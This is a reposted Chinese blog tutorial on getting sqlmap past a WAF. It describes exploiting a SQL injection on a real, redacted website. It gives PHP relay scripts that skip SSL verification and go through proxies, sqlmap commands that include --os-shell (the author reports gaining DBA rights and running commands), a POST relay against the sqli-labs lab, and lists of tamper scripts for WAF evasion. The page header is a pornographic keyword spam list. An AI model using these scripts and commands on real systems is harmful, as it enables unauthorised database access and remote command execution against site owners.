日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

实战sqlmap绕过WAF

發(fā)布時間:2023/12/2 编程问答 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 实战sqlmap绕过WAF 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

本文轉(zhuǎn)載于https://xz.aliyun.com/t/10385

實戰(zhàn)演示

通過前期的信息收集發(fā)現(xiàn)存在注入的頁面如下:

直接使用sqlmap跑發(fā)現(xiàn)出現(xiàn)如下錯誤:

python2 sqlmap.py -u "http://xxxx?&daxxtae=null&parame=xxxxxx" --batch --delay=1 --random-agent_____H_____ ___["]_____ ___ ___ {1.5.4.7#dev} |_ -| . [)] | .'| . | |___|_ ["]_|_|_|__,| _||_|V... |_| http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 10:12:10 /2021-10-10/ [10.12.10] [INFO] parsing HTTP request from '49' custom injection marking character ('*') found in option '--data'. Do you want to process it? [Y/n/q]Y [10:12:10] [INFO] testing connection to the target URL [10:12:10] [CRITICAL] can't establish SSL connection

一看無法建立SSL連接,好不容易發(fā)現(xiàn)一個注入點,難道就這樣放棄了嗎?先百度一波,看看SSL證書原理,就用一張圖來理解更直接明了。

那么遇到這樣的情況要怎么繞呢?在sqlmap中沒有繞過SSL證書的參數(shù),思考了很長時間,終于想起來原來貌似有一個中轉(zhuǎn)注入。這里要解決的第一個問題是有哪些腳本語言能夠在請求網(wǎng)址時忽略SSL證書,第二個問題是我還需要使用sqlmap中的payload,這兩個都要滿足,通過查詢了解到PHP可以使用參數(shù)來忽略SSL證書,由于并不是搞開發(fā)的,所以這里還是思考了很長時間,先來理解一下中轉(zhuǎn)注入的原理吧。

中轉(zhuǎn)注入的原理

首先我們我們來分析一下sqlmap中轉(zhuǎn)注入的原理,如下圖:

為了讓大家更加容易解,先使用簡單的腳本演示一遍,演示代碼如下:

<?php $payload=base64_encode($_GET['x']);//對中轉(zhuǎn)腳本接收的參數(shù)進(jìn)行base64編碼 echo $payload $urls="http://xxx/xxxx?q=1$payload";//對請求的網(wǎng)址拼接base64編碼的字符串 file_get_contents($urls);//請求目標(biāo)網(wǎng)站 echo $urls; ?>

網(wǎng)上隨便找需一個后面有參數(shù)的網(wǎng)站,添加到$urls變量中,將上述代碼放在本地服務(wù)器中,然后訪問,可以看到成功請求到我們添加的網(wǎng)站

使用sqlmap跑一下,設(shè)置一下代理使用burp來抓包

python2 sqlmap.py -u "http://127.0.0.1/zhongzhuan.php?x=1" -v 3 --proxy=http://127.0.0.1:8080

成功看到各種payload


burp抓包的結(jié)果

<?php set_time_limit(0); $id=$_GET["id"]; $id=str_replace(" ","/**/",$id); $id=str_replace("=","%3D",$id); //這些編碼機(jī)制可以自己的需求設(shè)定,畢竟實戰(zhàn)的環(huán)境變換多樣 $url = "http://xxxx?&daxxtae=null&parame=$id"; echo $url; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "$url"); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https請求 不驗證證書 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);//https請求 不驗證hosts curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 函數(shù)執(zhí)行如果成功只將結(jié)果返回,不自動輸出任何內(nèi)容。如果失敗返回FALSE curl_setopt($ch, CURLOPT_HEADER, 0);//如果你想把一個頭包含在輸出中,設(shè)置這個選項為一個非零值 $output = curl_exec($ch); curl_close($ch); print_r($output); ?>

此時中轉(zhuǎn)腳本已經(jīng)寫好了,用sqlmap跑,沒想到呀,既然流量有限制,就算請求延遲調(diào)得很慢,還是直接將我的ip給封了,此時又是一個漫長的過程,又要繼續(xù)思考了,在sqlmap中有代理設(shè)置參數(shù),哈哈哈這都知道,但是試了試一試不可以,一直思考呀,首先我們借助了中轉(zhuǎn)腳本,先請求的是我們的本地服務(wù)器,你說外網(wǎng)的代理服務(wù)器直接訪問我本地服務(wù)器這是一個不現(xiàn)實的問題,最主要是我沒有公網(wǎng)服務(wù)器,不然就好辦了,所以現(xiàn)在需要思考兩個問題,首先我要用到中轉(zhuǎn)腳本過證書問題,還要能夠使用代理,在PHP代碼上使用代理池設(shè)置。此時sqlmap先請求我們中轉(zhuǎn)腳本(并沒有用代理地址),中轉(zhuǎn)腳本借助設(shè)置的代理地址遲訪問目標(biāo)網(wǎng)頁。
現(xiàn)在代碼修改成了如下:

<?php set_time_limit(0); $id=$_GET["id"]; $id=str_replace(" ","%20",$id); $id=str_replace("=","%3D",$id); $url = "http://xxxx?&daxxtae=null&parame=$id"; echo $url; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "$url"); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_PROXY, 'proxy.xxxx.com'); //代理服務(wù)器地址 curl_setopt($ch, CURLOPT_PROXYPORT, '8080'); //代理服務(wù)器端口 $output = curl_exec($ch); curl_close($ch); print_r($output); ?>

在使用sqlmap跑的時候最好先本地測試一下,經(jīng)過了20多分鐘的掃描終于算是出東西了

直接看一下能否寫shell,搞個高危,運氣就是這么好

python2 sqlmap.py -u "http://xxxx?&daxxtae=null&param=xxx" --batch --delay=1 --random-agent --os-shell

成功拿到了dba權(quán)限

成功執(zhí)行命令,不過是真的慢,可能是有防護(hù)軟件原因吧。

在這里問題又來了,要是post型注入又該怎么辦呢?上面的腳本似乎不在使用思考了很長時間,但是也沒有在實際中遇到,所以這里就想本地嘗試一次。

post型中轉(zhuǎn)注入

在注入天書中有post型注入,隨便選了一個11關(guān)卡,抓取less-11關(guān)的包,注入點在登錄框這里。

注入點為

uname=admin&passwd=hhh&submit=Submit

構(gòu)造中轉(zhuǎn)腳本如下:

<?php $url = "http://192.168.1.104/sqli/Less-11/index.php"; $sql = $_GET[s];//獲取中轉(zhuǎn)腳本傳過來的payload $s = urlencode($sql); $params = "uname=admin$s&passwd=aa"; $ch = curl_init();// 創(chuàng)建一個新cURL資源curl_setopt($ch, CURLOPT_URL, $url);//這是你想用PHP取回的URL地址,可以在用curl_init()函數(shù)初始化時設(shè)置這個選項 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https請求 不驗證證書 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);//https請求 不驗證hosts curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 函數(shù)執(zhí)行如果成功只將結(jié)果返回,不自動輸出任何內(nèi)容。如果失敗返回FALSE curl_setopt($ch, CURLOPT_HEADER, 0);//如果你想把一個頭包含在輸出中,設(shè)置這個選項為一個非零值 curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)');// 在HTTP請求中自定義一個”user-agent”頭的字符串 curl_setopt($ch, CURLOPT_TIMEOUT, 15);//為了應(yīng)對目標(biāo)服務(wù)器的過載,下線,或者崩潰等可能狀況。 curl_setopt($ch, CURLOPT_POST, 1); // post 提交方式 curl_setopt($ch, CURLOPT_POSTFIELDS, $params); // 抓取URL并把它傳遞給瀏覽器 $output = curl_exec($ch); // 關(guān)閉cURL資源,并且釋放系統(tǒng)資源 curl_close($ch); $a = strlen($output); //echo $a; if($a==2846){echo "1"; }else{echo "2"; }

使用sqlmap進(jìn)行注入

首先注入我們的中轉(zhuǎn)腳本

中轉(zhuǎn)腳本通過獲取的payload請求目標(biāo)網(wǎng)站

成功跑出數(shù)據(jù)庫

sqlmap繞過WAF的思路總結(jié)

1、設(shè)置請求頭

--user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"

2、設(shè)置代理

--proxy=http://127.0.0.1:8080

3、設(shè)置延遲

--delay=1

4、利用--tamper參數(shù)中的編碼腳本
常見編碼搭配方式
普通tamper搭配方式:

tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

數(shù)據(jù)庫為MSSQL的搭配方式:

tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

數(shù)據(jù)庫為MySql的搭配方式:

tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

總結(jié)

以上是生活随笔為你收集整理的实战sqlmap绕过WAF的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。